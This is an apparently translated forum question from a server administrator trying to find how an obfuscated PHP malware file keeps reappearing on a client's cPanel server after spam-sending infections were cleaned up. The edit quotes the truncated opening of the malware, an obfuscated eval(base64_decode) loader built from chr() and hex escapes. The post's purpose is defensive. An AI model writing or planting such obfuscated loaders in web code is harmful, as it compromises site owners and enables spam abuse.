O vírus continua aparecendo. Como posso encontrar o buraco de segurança?

Question

Acabei de começar a trabalhar com esse cliente recentemente e, quando entrei em seu servidor, ele estava cheio de vírus. Pelo menos 4 de seus usuários do cpanel tinham vírus em seus sites (completamente gerenciados por ele). Os vírus estavam enviando e-mails de spam a uma taxa de 5 por segundo quando eu comecei. Eu passei e removi todos os vírus, trabalhei em falhas de segurança, etc. Eu parei todos os e-mails de spam de entrar, mas há um único arquivo php que continua reaparecendo toda vez que eu apago. Eu apaguei em 31 de março, o arquivo único reapareceu em 2 de abril. Eu deletei em 3 de abril, reapareceu em 7 de abril. Estou pensando se alguém tem uma sugestão de como eu posso encontrar o buraco de segurança.

O diretório tem um total de 9 arquivos, apenas um deles é php, sem incluir o próprio vírus. É um site muito pequeno e quase completamente HTML. o único outro arquivo PHP é um formulário de contato. Não acho que seja nada dentro do diretório, mas nenhum outro vírus aparece em nenhum outro lugar do sistema.

Alguma sugestão?

EDITAR

é assim que o código do vírus se parece, tudo em uma única linha. são 3585 caracteres.

$f7pm25=chr(112)."re".chr(10chr(103).chr(95)."\x72".chr(101).
"p\x6C\x61".chr(99)."e";$q1Y7Aj="e".chr(118)."\x61".chr(108)."
(b\x61\x73\x65\x364\x5F\x64".chr(101).chr(99)."o\x64".chr(101)."\x28\x22\x5
1".chr(71)."\x56".chr(121)."\x63\x6d".chr(57).chr(121)."\x58\x33J".chr(108)
."